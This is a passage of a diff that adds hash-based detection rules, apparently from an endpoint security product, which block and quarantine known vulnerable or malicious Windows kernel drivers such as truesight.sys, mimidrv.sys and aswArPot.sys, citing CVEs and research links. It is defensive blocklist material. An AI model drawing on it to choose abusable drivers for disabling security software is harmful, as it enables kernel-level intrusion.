+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ac96720-2eeb-59e3-8927-f2904b1369f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983369Z",
+  "creation_date": "2026-03-23T11:45:29.983371Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983376Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97030f3c81906334429afebbf365a89b66804ed890cd74038815ca18823d626c",
+  "comment": "Vulnerable Kernel Driver (aka kbdcap64.sys) [https://www.loldrivers.io/drivers/6a7d882b-3d9d-4334-be5f-2e29c6bf9ff8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ad0a164-fba5-55ce-b1a3-905ca6fbd8a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465511Z",
+  "creation_date": "2026-03-23T11:45:30.465515Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465523Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b34e2d9f3d4ef59cf7af18e17133a6a06509373e69e33c8eecb2e30501d0d9e4",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1aebafa2-5e96-584c-94f6-5fae7cfbfc9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969076Z",
+  "creation_date": "2026-03-23T11:45:29.969078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969083Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f17e5cfc5bdd74aff91bfb1a836071345ba2b5d1b47b0d5bf8e7e0d4d5e2dbf",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b099f55-0316-5967-95d4-04b2190aa9d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604374Z",
+  "creation_date": "2026-03-23T11:45:29.604376Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604381Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "761ca3aee052d4a34f500dee578ef55a4e481b1d6096eb3573f3f828ecfe4f89",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b0cd3ea-e28e-5b2a-a040-c14bf801a7e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819784Z",
+  "creation_date": "2026-03-23T11:45:31.819788Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8a2e2d3b845d658150e656153e40e6c741cdaa2627ed940e9875ca42472ba82",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b175542-d22b-5431-8403-43467b2826fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489004Z",
+  "creation_date": "2026-03-23T11:45:31.489006Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489012Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1dd2feaa9b18b3ba4187167557107e5bc331837f607e1a7adcbc7192700d1b80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b17bc16-e852-5ee3-a3d1-e63ed949fad3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473630Z",
+  "creation_date": "2026-03-23T11:45:30.473633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473642Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c27ad462ed0e16252b834cf0c76b1c5085ad9b7b6a13f67d1d2471177f1b177",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b2f0f9e-5f0f-57b9-9586-6a0c4076a36b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982713Z",
+  "creation_date": "2026-03-23T11:45:29.982715Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97cada65b735f3eece349c7b7021c4469d5a9fb3cf8b5e2ac187006469ffbc98",
+  "comment": "Vulnerable Kernel Driver (aka SysDrv3S.sys) [https://www.loldrivers.io/drivers/cf49f43c-d7b4-4c1a-a40d-1be36ea64bff/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b34914b-2ad9-5fcd-90bd-828c893d5883",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830825Z",
+  "creation_date": "2026-03-23T11:45:30.830827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "197ff39f37973f12175188c41007cb555f569a310f36ce3a613a0989385275a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b3b66b5-4ede-5845-944e-5c0b7c153d4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145218Z",
+  "creation_date": "2026-03-23T11:45:31.145220Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "529b3ad0f683ce1d5dc236692c68f2c990aa09d816fd4d9e35a1e94a8aaf417a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b4bc9d3-46f5-5ce1-9f9e-c2000432c34b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489551Z",
+  "creation_date": "2026-03-23T11:45:31.489555Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489563Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a43eda51f8bea611289c52ca96ec4f703c895d1cba72232fe8a7388945ea6dfd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b4d7b86-08d0-55d4-9615-1e09bbcb3118",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145893Z",
+  "creation_date": "2026-03-23T11:45:31.145897Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145905Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4653fb7161bc0f5af4057778d8f9d5aa865923db472220479033448a403c007f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b61eb18-4d0c-547f-ad60-52e1234277bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973906Z",
+  "creation_date": "2026-03-23T11:45:29.973908Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973913Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "adc10de960f40fa9f6e28449748250fa9ddfd331115b77a79809a50c606753ee",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b675bb8-aa03-5acf-8bb0-7b6f92a5f316",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817365Z",
+  "creation_date": "2026-03-23T11:45:30.817367Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817372Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ce5523dea824b2f2d4d442a9016d0f1b7cc52dce58a1740f4c43fd28e1c6dcb",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b736bdf-8e4f-5d39-9022-99852b2f46d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818066Z",
+  "creation_date": "2026-03-23T11:45:30.818068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ef0b34649186fb98a7431b606e77ee35e755894b038755ba98e577bd51b2c72",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b7abaea-b19e-54f3-b5e0-148ad62060d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458250Z",
+  "creation_date": "2026-03-23T11:45:30.458254Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49ef680510e3dac6979a20629d10f06822c78f45b9a62ec209b71827a526be94",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b7af6a4-bb22-5935-8d9a-c28de969b594",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622562Z",
+  "creation_date": "2026-03-23T11:45:29.622564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622569Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72c0d2d699d0440db17cb7cbbc06a253eaafd21465f14bb0fed8b85ae73153d1",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b8bdd30-526f-51da-8967-b823cc336470",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826586Z",
+  "creation_date": "2026-03-23T11:45:30.826588Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826593Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "072397e33f2bb44596c3c188a570b18628921456621b0eba8f6ba4b71035064c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b8fa0de-40b4-54fa-9223-780a6c48c933",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459460Z",
+  "creation_date": "2026-03-23T11:45:30.459463Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459472Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a0f57a4d7c8137baf24c65d542729547b876979273df7a245aaeea87280c090",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1b9adada-ebd4-5a46-b917-3049f1f02a50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817959Z",
+  "creation_date": "2026-03-23T11:45:30.817961Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817966Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53f2bfe03b5d74c9db8c6a849e5a4690cba9a9861dd98c204865000506d8ce67",
+  "comment": "Vulnerable Kernel Driver (aka stdcdrvws64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1ba871cc-f886-537f-b30e-ec3fca2c090b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976764Z",
+  "creation_date": "2026-03-23T11:45:29.976767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db0b5c434ddc7c97505a8be24431e9fbe484c2113df4ddf061aee91c35eab8b6",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1bac03e4-bc3c-516b-af7f-bea3b49a2065",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824952Z",
+  "creation_date": "2026-03-23T11:45:30.824955Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824966Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc22bbc782458f47244c9a2875b42f5916d87b4ca813eb20f1c88a2e444c36ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1baca231-cc28-54de-8e3a-daff1b35ac21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
